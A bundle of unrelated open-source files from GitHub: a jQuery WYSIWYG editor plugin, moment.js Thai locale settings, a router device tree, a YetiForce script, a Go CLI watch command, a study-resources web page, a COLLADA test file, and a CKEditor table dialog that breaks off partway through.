(editor.attr('contenteditable') && editor.is(':visible')) { e.preventDefault(); e.stopPropagation(); } }); }); }, getCurrentRange = function () { var sel = window.getSelection(); if (sel.getRangeAt && sel.rangeCount) { return sel.getRangeAt(0); } }, saveSelection = function () { selectedRange = getCurrentRange(); }, restoreSelection = function () { var selection = window.getSelection(); if (selectedRange) { try { selection.removeAllRanges(); } catch (ex) { document.body.createTextRange().select(); document.selection.empty(); } selection.addRange(selectedRange); } }, insertFiles = function (files) { editor.focus(); $.each(files, function (idx, fileInfo) { if (/^image\//.test(fileInfo.type)) { $.when(readFileIntoDataUrl(fileInfo)).done(function (dataUrl) { execCommand('insertimage', dataUrl); }).fail(function (e) { options.fileUploadError("file-reader", e); }); } else { options.fileUploadError("unsupported-file-type", fileInfo.type); } }); }, markSelection = function (input, color) { restoreSelection(); if (document.queryCommandSupported('hiliteColor')) { document.execCommand('hiliteColor', 0, color || 'transparent'); } saveSelection(); input.data(options.selectionMarker, color); }, bindToolbar = function (toolbar, options) { toolbar.find(toolbarBtnSelector).click(function () { restoreSelection(); editor.focus(); execCommand($(this).data(options.commandRole)); saveSelection(); }); toolbar.find('[data-toggle=dropdown]').click(restoreSelection); toolbar.find('input[type=text][data-' + options.commandRole + ']').on('webkitspeechchange change', function () { var newValue = this.value; /* ugly but prevents fake double-calls due to selection restoration */ this.value = ''; restoreSelection(); if (newValue) { editor.focus(); execCommand($(this).data(options.commandRole), newValue); } saveSelection(); }).on('focus', function () { var input = $(this); if (!input.data(options.selectionMarker)) { markSelection(input, options.selectionColor); input.focus(); } }).on('blur', function () { var input = $(this); if (input.data(options.selectionMarker)) { markSelection(input, false); } }); toolbar.find('input[type=file][data-' + options.commandRole + ']').change(function () { restoreSelection(); if (this.type === 'file' && this.files && this.files.length > 0) { insertFiles(this.files); } saveSelection(); this.value = ''; }); }, initFileDrops = function () { editor.on('dragenter dragover', false) .on('drop', function (e) { var dataTransfer = e.originalEvent.dataTransfer; e.stopPropagation(); e.preventDefault(); if (dataTransfer && dataTransfer.files && dataTransfer.files.length > 0) { insertFiles(dataTransfer.files); } }); }; options = $.extend({}, $.fn.wysiwyg.defaults, userOptions); toolbarBtnSelector = 'a[data-' + options.commandRole + '],button[data-' + options.commandRole + '],input[type=button][data-' + options.commandRole + ']'; bindHotkeys(options.hotKeys); if (options.dragAndDropImages) { initFileDrops(); } bindToolbar($(options.toolbarSelector), options); editor.attr('contenteditable', true) .on('mouseup keyup mouseout', function () { saveSelection(); updateToolbar(); }); $(window).bind('touchend', function (e) { var isInside = (editor.is(e.target) || editor.has(e.target).length > 0), currentRange = getCurrentRange(), clear = currentRange && (currentRange.startContainer === currentRange.endContainer && currentRange.startOffset === currentRange.endOffset); if (!clear || isInside) { saveSelection(); updateToolbar(); } }); return this; }; $.fn.wysiwyg.defaults = { hotKeys: { 'ctrl+b meta+b': 'bold', 'ctrl+i meta+i': 'italic', 'ctrl+u meta+u': 'underline', 'ctrl+z meta+z': 'undo', 'ctrl+y meta+y meta+shift+z': 'redo', 'ctrl+l meta+l': 'justifyleft', 'ctrl+r meta+r': 'justifyright', 'ctrl+e meta+e': 'justifycenter', 'ctrl+j meta+j': 'justifyfull', 'shift+tab': 'outdent', 'tab': 'indent' }, toolbarSelector: '[data-role=editor-toolbar]', commandRole: 'edit', activeToolbarClass: 'btn-info', selectionMarker: 'edit-focus-marker', selectionColor: 'darkgrey', dragAndDropImages: true, fileUploadError: function (reason, detail) { console.log("File upload error", reason, detail); } }; }(window.jQuery));
{ "pile_set_name": "Github" }
//! moment.js locale configuration //! locale : thai (th) //! author : Kridsada Thanabulpong : https://github.com/sirn (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('../moment')) : typeof define === 'function' && define.amd ? define(['moment'], factory) : factory(global.moment) }(this, function (moment) { 'use strict'; var th = moment.defineLocale('th', { months : 'มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม'.split('_'), monthsShort : 'มกรา_กุมภา_มีนา_เมษา_พฤษภา_มิถุนา_กรกฎา_สิงหา_กันยา_ตุลา_พฤศจิกา_ธันวา'.split('_'), weekdays : 'อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์'.split('_'), weekdaysShort : 'อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์'.split('_'), // yes, three characters difference weekdaysMin : 'อา._จ._อ._พ._พฤ._ศ._ส.'.split('_'), longDateFormat : { LT : 'H นาฬิกา m นาที', LTS : 'H นาฬิกา m นาที s วินาที', L : 'YYYY/MM/DD', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY เวลา H นาฬิกา m นาที', LLLL : 'วันddddที่ D MMMM YYYY เวลา H นาฬิกา m นาที' }, meridiemParse: /ก่อนเที่ยง|หลังเที่ยง/, isPM: function (input) { return input === 'หลังเที่ยง'; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'ก่อนเที่ยง'; } else { return 'หลังเที่ยง'; } }, calendar : { sameDay : '[วันนี้ เวลา] LT', nextDay : '[พรุ่งนี้ เวลา] LT', nextWeek : 'dddd[หน้า เวลา] LT', lastDay : '[เมื่อวานนี้ เวลา] LT', lastWeek : '[วัน]dddd[ที่แล้ว เวลา] LT', sameElse : 'L' }, relativeTime : { future : 'อีก %s', past : '%sที่แล้ว', s : 'ไม่กี่วินาที', m : '1 นาที', mm : '%d นาที', h : '1 ชั่วโมง', hh : '%d ชั่วโมง', d : '1 วัน', dd : '%d วัน', M : '1 เดือน', MM : '%d เดือน', y : '1 ปี', yy : '%d ปี' } }); return th; }));
{ "pile_set_name": "Github" }
//! moment.js locale configuration //! locale : thai (th) //! author : Kridsada Thanabulpong : https://github.com/sirn (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('../moment')) : typeof define === 'function' && define.amd ? define(['moment'], factory) : factory(global.moment) }(this, function (moment) { 'use strict'; var th = moment.defineLocale('th', { months : 'มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม'.split('_'), monthsShort : 'มกรา_กุมภา_มีนา_เมษา_พฤษภา_มิถุนา_กรกฎา_สิงหา_กันยา_ตุลา_พฤศจิกา_ธันวา'.split('_'), weekdays : 'อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์'.split('_'), weekdaysShort : 'อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์'.split('_'), // yes, three characters difference weekdaysMin : 'อา._จ._อ._พ._พฤ._ศ._ส.'.split('_'), longDateFormat : { LT : 'H นาฬิกา m นาที', LTS : 'LT s วินาที', L : 'YYYY/MM/DD', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY เวลา LT', LLLL : 'วันddddที่ D MMMM YYYY เวลา LT' }, meridiemParse: /ก่อนเที่ยง|หลังเที่ยง/, isPM: function (input) { return input === 'หลังเที่ยง'; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'ก่อนเที่ยง'; } else { return 'หลังเที่ยง'; } }, calendar : { sameDay : '[วันนี้ เวลา] LT', nextDay : '[พรุ่งนี้ เวลา] LT', nextWeek : 'dddd[หน้า เวลา] LT', lastDay : '[เมื่อวานนี้ เวลา] LT', lastWeek : '[วัน]dddd[ที่แล้ว เวลา] LT', sameElse : 'L' }, relativeTime : { future : 'อีก %s', past : '%sที่แล้ว', s : 'ไม่กี่วินาที', m : '1 นาที', mm : '%d นาที', h : '1 ชั่วโมง', hh : '%d ชั่วโมง', d : '1 วัน', dd : '%d วัน', M : '1 เดือน', MM : '%d เดือน', y : '1 ปี', yy : '%d ปี' } }); return th; }));
{ "pile_set_name": "Github" }
/dts-v1/; #include "danube.dtsi" #include <dt-bindings/input/input.h> / { compatible = "arcadyan,arv7519pw", "lantiq,xway", "lantiq,danube"; model = "Astoria Networks ARV7519PW"; chosen { bootargs = "console=ttyLTQ0,115200"; }; aliases { led-boot = &power; led-failsafe = &power2; led-running = &power; led-dsl = &dsl; led-internet = &online; led-wifi = &wifi; }; memory@0 { reg = <0x0 0x4000000>; }; sram@1F000000 { vmmc@107000 { status = "okay"; }; }; fpi@10000000 { localbus@0 { nor-boot@0 { compatible = "lantiq,nor"; bank-width = <2>; reg = <0 0x0 0x2000000>; #address-cells = <1>; #size-cells = <1>; partitions { compatible = "fixed-partitions"; #address-cells = <1>; #size-cells = <1>; partition@0 { label = "uboot"; reg = <0x00000 0x40000>; read-only; }; partition@40000 { label = "uboot_env"; reg = <0x40000 0x20000>; }; partition@60000 { label = "firmware"; reg = <0x60000 0xf80000>; }; boardconfig: partition@fe0000 { label = "board_config"; reg = <0xfe0000 0x20000>; read-only; }; }; }; }; gpio: pinmux@E100B10 { pinctrl-names = "default"; pinctrl-0 = <&state_default>; state_default: pinmux { ebu { lantiq,groups = "ebu cs1"; lantiq,function = "ebu"; }; pci_in { lantiq,groups = "req1"; lantiq,function = "pci"; lantiq,open-drain = <1>; lantiq,pull = <2>; lantiq,output = <0>; }; pci_out { lantiq,groups = "gnt1"; lantiq,function = "pci"; lantiq,pull = <0>; lantiq,output = <1>; }; pci_rst { lantiq,pins = "io21"; lantiq,pull = <2>; lantiq,output = <1>; }; switch_rst { lantiq,pins = "io19"; lantiq,pull = <2>; lantiq,output = <1>; }; }; }; etop@E180000 { phy-mode = "mii"; mtd-mac-address = <&boardconfig 0x16>; }; /* warning: passive port only works with active devices */ ifxhcd@E101000 { status = "okay"; }; }; gpio-keys-polled { compatible = "gpio-keys-polled"; #address-cells = <1>; #size-cells = <0>; poll-interval = <100>; rfkill { label = "rfkill"; gpios = <&gpio 11 GPIO_ACTIVE_LOW>; linux,code = <KEY_RFKILL>; }; reset { label = "reset"; gpios = <&gpio 28 GPIO_ACTIVE_LOW>; linux,code = <KEY_RESTART>; }; }; gpio-leds { compatible = "gpio-leds"; power: power { label = "power"; gpios = <&gpio 2 GPIO_ACTIVE_LOW>; default-state = "keep"; }; power2: power2 { label = "power2"; gpios = <&gpio 14 GPIO_ACTIVE_LOW>; }; online: online { label = "online"; gpios = <&gpio 3 GPIO_ACTIVE_LOW>; }; online2 { label = "online2"; gpios = <&gpio 30 GPIO_ACTIVE_LOW>; }; wifi: wifi { label = "wifi"; gpios = <&gpio 12 GPIO_ACTIVE_LOW>; }; wifi2 { label = "wifi2"; gpios = <&gpio 10 GPIO_ACTIVE_LOW>; }; wifi3 { label = "wifi3"; gpios = <&gpio 6 GPIO_ACTIVE_LOW>; }; voice { label = "voice"; gpios = <&gpio 31 GPIO_ACTIVE_LOW>; }; wps { label = "wps"; gpios = <&gpio 15 GPIO_ACTIVE_LOW>; }; wps2 { label = "wps2"; gpios = <&gpio 7 GPIO_ACTIVE_LOW>; }; wps3 { label = "wps3"; gpios = <&gpio 23 GPIO_ACTIVE_LOW>; }; dsl: dsl { label = "dsl"; gpios = <&gpio 4 GPIO_ACTIVE_LOW>; }; lan { label = "lan"; gpios = <&gpio 1 GPIO_ACTIVE_LOW>; }; tv { label = "tv"; gpios = <&gpio 20 GPIO_ACTIVE_LOW>; }; upgrade { label = "upgrade"; gpios = <&gpio 29 GPIO_ACTIVE_LOW>; }; }; /* is there another way to "reserve" the GPIO? */ gpio_export { compatible = "gpio-export"; #size-cells = <0>; switch { gpio-export,name = "switch"; gpio-export,output = <1>; gpios = <&gpio 19 GPIO_ACTIVE_HIGH>; }; }; }; &pci0 { status = "okay"; lantiq,external-clock; gpio-reset = <&gpio 21 GPIO_ACTIVE_HIGH>; req-mask = <0xf>; wifi@0,0 { compatible = "pci0,0"; reg = <0x7000 0 0 0 0>; ralink,mtd-eeprom = <&boardconfig 0x410>; ralink,mtd-eeprom-swap; }; };
{ "pile_set_name": "Github" }
/* {[The file is published on the basis of YetiForce Public License 3.0 that can be found in the following directory: licenses/LicenseEN.txt or yetiforce.com]} */ 'use strict'; jQuery.Class( 'Settings_Users_Locks_Js', {}, { /** * Add item * @param {jQuery} content */ registerAdd: function (content) { var thisInstance = this; content.find('.js-add-item').on('click', function (e) { var id = parseInt(content.find('#js-lock-count').val()) + 1; var cloneItem = content.find('.js-clone-item tbody').clone(true, true); cloneItem .find('tr') .attr('data-id', id) .addClass('row' + id); content.find('.js-locks-table tbody').append(cloneItem.html()); content.find('#js-lock-count').val(id); thisInstance.registerDelete(content.find('tr.row' + id)); App.Fields.Picklist.showSelect2ElementView(content.find('tr.row' + id).find('select')); }); }, /** * Register events for delete item * @param {jQuery} content */ registerDelete: function (content) { content.find('.js-delete-item').on('click', function (e) { var target = $(e.currentTarget); target.closest('tr').remove(); }); }, /** * Register events for save * @param {jQuery} content */ registerSave: function (content) { content.find('.js-save-items').on('click', function (e) { var data = []; content.find('.js-locks-table tbody tr').each(function (index) { data.push({ user: $(this).find('.js-users').val(), locks: $(this).find('.js-locks').val() }); }); app.saveAjax('saveLocks', data).done(function (data) { Settings_Vtiger_Index_Js.showMessage({ type: 'success', text: data.result.message }); }); }); }, /** * Main function */ registerEvents: function () { var content = $('.contentsDiv'); this.registerAdd(content); this.registerDelete(content); this.registerSave(content); } } );
{ "pile_set_name": "Github" }
package cmd import ( "context" "fmt" "io" "os" "os/signal" "syscall" "github.com/golang/protobuf/ptypes/empty" "github.com/mitchellh/go-homedir" "github.com/mosuka/cete/client" "github.com/mosuka/cete/marshaler" "github.com/mosuka/cete/protobuf" "github.com/spf13/cobra" "github.com/spf13/viper" ) var ( watchCmd = &cobra.Command{ Use: "watch", Short: "Watch a node updates", Long: "Watch a node updates", RunE: func(cmd *cobra.Command, args []string) error { grpcAddress = viper.GetString("grpc_address") certificateFile = viper.GetString("certificate_file") commonName = viper.GetString("common_name") c, err := client.NewGRPCClientWithContextTLS(grpcAddress, context.Background(), certificateFile, commonName) if err != nil { return err } defer func() { _ = c.Close() }() req := &empty.Empty{} watchClient, err := c.Watch(req) if err != nil { return err } go func() { for { resp, err := watchClient.Recv() if err == io.EOF { break } if err != nil { break } switch resp.Event.Type { case protobuf.Event_Join: eventReq := &protobuf.SetMetadataRequest{} if eventData, err := marshaler.MarshalAny(resp.Event.Data); err != nil { _, _ = fmt.Fprintln(os.Stderr, fmt.Sprintf("%s, %v", resp.Event.Type.String(), err)) } else { if eventData == nil { _, _ = fmt.Fprintln(os.Stderr, fmt.Sprintf("%s, nil", resp.Event.Type.String())) } else { eventReq = eventData.(*protobuf.SetMetadataRequest) } } fmt.Printf("%s, %v\n", resp.Event.Type.String(), eventReq) case protobuf.Event_Leave: eventReq := &protobuf.DeleteMetadataRequest{} if eventData, err := marshaler.MarshalAny(resp.Event.Data); err != nil { _, _ = fmt.Fprintln(os.Stderr, fmt.Sprintf("%s, %v", resp.Event.Type.String(), err)) } else { if eventData == nil { _, _ = fmt.Fprintln(os.Stderr, fmt.Sprintf("%s, nil", resp.Event.Type.String())) } else { eventReq = eventData.(*protobuf.DeleteMetadataRequest) } } fmt.Printf("%s, %v\n", resp.Event.Type.String(), eventReq) case protobuf.Event_Set: putRequest := &protobuf.SetRequest{} if putRequestInstance, err := marshaler.MarshalAny(resp.Event.Data); err != nil { _, _ = fmt.Fprintln(os.Stderr, fmt.Sprintf("%s, %v", resp.Event.Type.String(), err)) } else { if putRequestInstance == nil { _, _ = fmt.Fprintln(os.Stderr, fmt.Sprintf("%s, nil", resp.Event.Type.String())) } else { putRequest = putRequestInstance.(*protobuf.SetRequest) } } fmt.Printf("%s, %v\n", resp.Event.Type.String(), putRequest) case protobuf.Event_Delete: deleteRequest := &protobuf.DeleteRequest{} if deleteRequestInstance, err := marshaler.MarshalAny(resp.Event.Data); err != nil { _, _ = fmt.Fprintln(os.Stderr, fmt.Sprintf("%s, %v", resp.Event.Type.String(), err)) } else { if deleteRequestInstance == nil { _, _ = fmt.Fprintln(os.Stderr, fmt.Sprintf("%s, nil", resp.Event.Type.String())) } else { deleteRequest = deleteRequestInstance.(*protobuf.DeleteRequest) } } fmt.Printf("%s, %v\n", resp.Event.Type.String(), deleteRequest) } } }() quitCh := make(chan os.Signal, 1) signal.Notify(quitCh, os.Kill, os.Interrupt, syscall.SIGHUP, syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT) <-quitCh return nil }, } ) func init() { rootCmd.AddCommand(watchCmd) cobra.OnInitialize(func() { if configFile != "" { viper.SetConfigFile(configFile) } else { home, err := homedir.Dir() if err != nil { _, _ = fmt.Fprintln(os.Stderr, err) os.Exit(1) } viper.AddConfigPath("/etc") viper.AddConfigPath(home) viper.SetConfigName("cete") } viper.SetEnvPrefix("CETE") viper.AutomaticEnv() if err := viper.ReadInConfig(); err != nil { switch err.(type) { case viper.ConfigFileNotFoundError: // cete.yaml does not found in config search path default: _, _ = fmt.Fprintln(os.Stderr, err) os.Exit(1) } } }) watchCmd.PersistentFlags().StringVar(&configFile, "config-file", "", "config file. if omitted, cete.yaml in /etc and home directory will be searched") watchCmd.PersistentFlags().StringVar(&grpcAddress, "grpc-address", ":9000", "gRPC server listen address") watchCmd.PersistentFlags().StringVar(&certificateFile, "certificate-file", "", "path to the client server TLS certificate file") watchCmd.PersistentFlags().StringVar(&commonName, "common-name", "", "certificate common name") _ = viper.BindPFlag("grpc_address", watchCmd.PersistentFlags().Lookup("grpc-address")) _ = viper.BindPFlag("certificate_file", watchCmd.PersistentFlags().Lookup("certificate-file")) _ = viper.BindPFlag("common_name", watchCmd.PersistentFlags().Lookup("common-name")) }
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <!-- Arcana by HTML5 UP html5up.net | @ajlkn Free for personal and commercial use under the CCA 3.0 license (html5up.net/license) --> <html> <head> <title>夸夸大本营</title> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /> <link rel="stylesheet" href="../assets/css/main.css" /> </head> <body class="is-preload"> <div id="page-wrapper"> <!-- Header --> <div id="header"> <!-- Logo --> <h1><a href="../index.html" id="logo">夸夸世界 <em>人生赢家</em></a></h1> <!-- Nav --> <nav id="nav"> <ul> <li><a href="../index.html">Home</a></li> <li> <a href="#">夸夸赢家实用资料</a> <ul> <li><a href="toefl.html">托福</a></li> <li><a href="ielts.html">雅思</a></li> <li><a href="greandgmat.html">GRE and GMAT</a></li> </ul> </li> <li class="current"><a href="main_sugesstion.html">备考建议区</a></li> <li><a href="qqgroup.html">学霸qq群</a></li> <li><a href="friends.html">夸夸群友互助计划</a></li> <li><a href="https://github.com/Jackwire/Jackwire.github.io">Github原址</a></li> </ul> </nav> </div> <!-- Main --> <section class="wrapper style1"> <div class="container"> <div id="content"> <!-- Content --> <article> <header> <h2>群友考试升学经验帖</h2> </header> <li><a href="https://github.com/Jackwire/Jackwire.github.io/blob/master/files/sugestions/toefl1.md">72-108!托福提分攻略全揭秘&新政首考体验&机构选择</a></li> </article> </div> </div> </section> <!-- Footer --> <div id="footer"> <!-- Copyright --> <div class="copyright"> <ul class="menu"> <li>&copy; 夸夸先生设计</li><li><a href="#">在此致敬</a></li> </ul> </div> </div> </div> <!-- Scripts --> <script src="../assets/js/jquery.min.js"></script> <script src="../assets/js/jquery.dropotron.min.js"></script> <script src="../assets/js/browser.min.js"></script> <script src="../assets/js/breakpoints.min.js"></script> <script src="../assets/js/util.js"></script> <script src="../assets/js/main.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <COLLADA xmlns="http://www.collada.org/2005/11/COLLADASchema" version="1.4.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <asset> <created>2017-03-08T13:35:39</created> <modified>2017-03-08T13:35:39</modified> </asset> <library_animations> <animation> <source id="source_0"> <float_array id="float_array_0" count="1">0</float_array> <technique_common> <accessor source="#float_array" count="1"/> </technique_common> </source> <source id="source_2"> <IDREF_array count="1">node_2 unknown</IDREF_array> </source> <sampler id="sampler_0"> <input semantic="INPUT" source="#source_0"/> </sampler> <channel source="#sampler_0" target="node_1/translate.X"/> </animation> </library_animations> <library_cameras> <camera id="camera_0"> <optics> <technique_common> <perspective> <xfov>90</xfov> <yfov>90</yfov> <znear>1</znear> <zfar>INF</zfar> </perspective> </technique_common> </optics> </camera> </library_cameras> <library_controllers> <controller id="controller_0"> <skin source="#geometry_0"> <source id="joints"> <Name_array id="name_array_0" count="1">Root</Name_array> <technique_common> <accessor source="#name_array_0" count="1"/> </technique_common> </source> <source id="weights"> <float_array id="float_array_1" count="1">0</float_array> <technique_common> <accessor source="#float_array_1" count="1"/> </technique_common> </source> <source id="inv_bind_mats"> <float_array id="float_array_2" count="16">1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1</float_array> <technique_common> <accessor source="#float_array_2" count="1"/> </technique_common> </source> <joints> <input semantic="JOINT" source="#joints"/> <input semantic="INV_BIND_MATRIX" source="#inv_bind_mats"/> </joints> <vertex_weights count="1"> <input offset="0" semantic="JOINT" source="#joints"/> <input offset="0" semantic="WEIGHT" source="#weights"/> <vcount>1</vcount> <v>0 0</v> </vertex_weights> </skin> </controller> </library_controllers> <library_effects> <effect id="effect_0"> <profile_GLSL> <include sid="shader" url="./shader.glsl"/> <technique sid="shaded"> <pass/> </technique> </profile_GLSL> </effect> </library_effects> <library_geometries> <geometry id="geometry_0"> <mesh> <source id="source_1"> <float_array id="float_array_3" count="1">0</float_array> <technique_common> <accessor source="#float_array_3" count="1" stride="1"> <param name="X" type="float"/> </accessor> </technique_common> </source> <vertices id="vertices_0"> <input semantic="POSITION" source="#float_array_3"/> </vertices> <triangles material="initialShadingGroup" count="1"> <input semantic="VERTEX" source="#float_array_3" offset="0"/> <p>0 0 0</p> </triangles> </mesh> </geometry> <geometry id="geometry_1"> <convex_mesh convex_hull_of="#geometry_0"/> </geometry> </library_geometries> <library_images> <image> <init_from>./image.jpg</init_from> </image> <image> <init_from></init_from> </image> </library_images> <library_nodes> <node id="node_0"/> </library_nodes> <library_physics_models> <physics_model id="physics_model_0"> <rigid_body sid="rigid_body_a"> <technique_common> <dynamic>0</dynamic> <mass>1</mass> <mass_frame> <translate sid="translate">0 0 0</translate> </mass_frame> <inertia>1 1 1</inertia> <physics_material id="physics_material_0"> <technique_common> <dynamic_friction>0.5</dynamic_friction> <restitution>0.5</restitution> <static_friction>0.5</static_friction> </technique_common> </physics_material> <shape> <density>1</density> <box> <half_extents>1 1 1</half_extents> </box> </shape> </technique_common> </rigid_body> </physics_model> </library_physics_models> <library_physics_scenes> <physics_scene id="physics_scene_0"> <instance_physics_model url="#physics_model_0" parent="#physics_model_0"> <instance_rigid_body body="rigid_body_a" target="#node_1"> <technique_common/> </instance_rigid_body> </instance_physics_model> <technique_common> <gravity>0 -9.81 0</gravity> </technique_common> </physics_scene> </library_physics_scenes> <library_visual_scenes> <visual_scene> <node id="node_1"> <translate sid="translate">0 0 0</translate> <instance_node url="#node_0"/> </node> <node id="node_2"> <instance_controller url="#controller_0"> <skeleton>#node_3</skeleton> </instance_controller> <node id="node_3" sid="Root"/> </node> <node id="node_3"> <instance_node url="./links_error_ref.dae#unknown"/> </node> <node id="node_4"> <instance_node url="./links_error_ref2.dae#unknown"/> </node> <evaluate_scene> <render camera_node="./unknown.dae#camera_0"/> </evaluate_scene> </visual_scene> </library_visual_scenes> </COLLADA>
{ "pile_set_name": "Github" }
/** * @license Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved. * For licensing, see LICENSE.md or http://ckeditor.com/license */ ( function() { var defaultToPixel = CKEDITOR.tools.cssLength; var commitValue = function( data ) { var id = this.id; if ( !data.info ) data.info = {}; data.info[ id ] = this.getValue(); }; function tableColumns( table ) { var cols = 0, maxCols = 0; for ( var i = 0, row, rows = table.$.rows.length; i < rows; i++ ) { row = table.$.rows[ i ], cols = 0; for ( var j = 0, cell, cells = row.cells.length; j < cells; j++ ) { cell = row.cells[ j ]; cols += cell.colSpan; } cols > maxCols && ( maxCols = cols ); } return maxCols; } // Whole-positive-integer validator. function validatorNum( msg ) { return function() { var value = this.getValue(), pass = !!( CKEDITOR.dialog.validate.integer()( value ) && value > 0 ); if ( !pass ) { alert( msg ); // jshint ignore:line this.select(); } return pass; }; } function tableDialog( editor, command ) { var makeElement = function( name ) { return new CKEDITOR.dom.element( name, editor.document ); }; var editable = editor.editable(); var dialogadvtab = editor.plugins.dialogadvtab; return { title: editor.lang.table.title, minWidth: 310, minHeight: CKEDITOR.env.ie ? 310 : 280, onLoad: function() { var dialog = this; var styles = dialog.getContentElement( 'advanced', 'advStyles' ); if ( styles ) { styles.on( 'change', function() { // Synchronize width value. var width = this.getStyle( 'width', '' ), txtWidth = dialog.getContentElement( 'info', 'txtWidth' ); txtWidth && txtWidth.setValue( width, true ); // Synchronize height value. var height = this.getStyle( 'height', '' ), txtHeight = dialog.getContentElement( 'info', 'txtHeight' ); txtHeight && txtHeight.setValue( height, true ); } ); } }, onShow: function() { // Detect if there's a selected table. var selection = editor.getSelection(), ranges = selection.getRanges(), table; var rowsInput = this.getContentElement( 'info', 'txtRows' ), colsInput = this.getContentElement( 'info', 'txtCols' ), widthInput = this.getContentElement( 'info', 'txtWidth' ), heightInput = this.getContentElement( 'info', 'txtHeight' ); if ( command == 'tableProperties' ) { var selected = selection.getSelectedElement(); if ( selected && selected.is( 'table' ) ) table = selected; else if ( ranges.length > 0 ) { // Webkit could report the following range on cell selection (#4948): // <table><tr><td>[&nbsp;</td></tr></table>] if ( CKEDITOR.env.webkit ) ranges[ 0 ].shrink( CKEDITOR.NODE_ELEMENT ); table = editor.elementPath( ranges[ 0 ].getCommonAncestor( true ) ).contains( 'table', 1 ); } // Save a reference to the selected table, and push a new set of default values. this._.selectedElement = table; } // Enable or disable the row, cols, width fields. if ( table ) { this.setupContent( table ); rowsInput && rowsInput.disable(); colsInput && colsInput.disable(); } else { rowsInput && rowsInput.enable(); colsInput && colsInput.enable(); } // Call the onChange method for the widht and height fields so // they get reflected into the Advanced tab. widthInput && widthInput.onChange(); heightInput && heightInput.onChange(); }, onOk: function() { var selection = editor.getSelection(), bms = this._.selectedElement && selection.createBookmarks(); var table = this._.selectedElement || makeElement( 'table' ), data = {}; this.commitContent( data, table ); if ( data.info ) { var info = data.info; // Generate the rows and cols. if ( !this._.selectedElement ) { var tbody = table.append( makeElement( 'tbody' ) ), rows = parseInt( info.txtRows, 10 ) || 0, cols = parseInt( info.txtCols, 10 ) || 0; for ( var i = 0; i < rows; i++ ) { var row = tbody.append( makeElement( 'tr' ) ); for ( var j = 0; j < cols; j++ ) { var cell = row.append( makeElement( 'td' ) ); cell.appendBogus(); } } } // Modify the table headers. Depends on having rows and cols generated // correctly so it can't be done in commit functions. // Should we make a <thead>? var headers = info.selHeaders; if ( !table.$.tHead && ( headers == 'row' || headers == 'both' ) ) { var thead = table.getElementsByTag( 'thead' ).getItem( 0 ); tbody = table.getElementsByTag( 'tbody' ).getItem( 0 ); var theRow = tbody.getElementsByTag( 'tr' ).getItem( 0 ); if ( !thead ) { thead = new CKEDITOR.dom.element( 'thead' ); thead.insertBefore( tbody ); } // Change TD to TH: for ( i = 0; i < theRow.getChildCount(); i++ ) { var th = theRow.getChild( i ); // Skip bookmark nodes. (#6155) if ( th.type == CKEDITOR.NODE_ELEMENT && !th.data( 'cke-bookmark' ) ) { th.renameNode( 'th' ); th.setAttribute( 'scope', 'col' ); } } thead.append( theRow.remove() ); } if ( table.$.tHead !== null && !( headers == 'row' || headers == 'both' ) ) { // Move the row out of the THead and put it in the TBody: thead = new CKEDITOR.dom.element( table.$.tHead ); tbody = table.getElementsByTag( 'tbody' ).getItem( 0 ); var previousFirstRow = tbody.getFirst(); while ( thead.getChildCount() > 0 ) { theRow = thead.getFirst(); for ( i = 0; i < theRow.getChildCount(); i++ ) { var newCell = theRow.getChild( i ); if ( newCell.type == CKEDITOR.NODE_ELEMENT ) { newCell.renameNode( 'td' ); newCell.removeAttribute( 'scope' ); } } theRow.insertBefore( previousFirstRow ); } thead.remove(); } // Should we make all first cells in a row TH? if ( !this.hasColumnHeaders && ( headers == 'col' || headers == 'both' ) ) { for ( row = 0; row < table.$.rows.length; row++ ) { newCell = new CKEDITOR.dom.element( table.$.rows[ row ].cells[ 0 ] ); newCell.renameNode( 'th' ); newCell.setAttribute( 'scope', 'row' ); } } // Should we make all first TH-cells in a row make TD? If 'yes' we do it the other way round :-) if ( ( this.hasColumnHeaders ) && !( headers == 'col' || headers == 'both' ) ) { for ( i = 0; i < table.$.rows.length; i++ ) { row = new CKEDITOR.dom.element( table.$.rows[ i ] ); if ( row.getParent().getName() == 'tbody' ) { newCell = new CKEDITOR.dom.element( row.$.cells[ 0 ] ); newCell.renameNode( 'td' ); newCell.removeAttribute( 'scope' ); } } } // Set the width and height. info.txtHeight ? table.setStyle( 'height', info.txtHeight ) : table.removeStyle( 'height' ); info.txtWidth ? table.setStyle( 'width', info.txtWidth ) : table.removeStyle( 'width' ); if ( !table.getAttribute( 'style' ) ) table.removeAttribute( 'style' ); } // Wikia change - add table class table.addClass('article-table'); // Insert the table element if we're creating one. if ( !this._.selectedElement ) { editor.insertElement( table ); // Override the default cursor position after insertElement to place // cursor inside the first cell (#7959), IE needs a while. setTimeout( function() { var firstCell = new CKEDITOR.dom.element( table.$.rows[ 0 ].cells[ 0 ] ); var range = editor.createRange(); range.moveToPosition( firstCell, CKEDITOR.POSITION_AFTER_START ); range.select(); }, 0 ); } // Properly restore the selection, (#4822) but don't break // because of this, e.g. updated table caption. else { try { selection.selectBookmarks( bms ); } catch ( er ) { } } }, contents: [ { id: 'info', label: editor.lang.table.title, elements: [ { type: 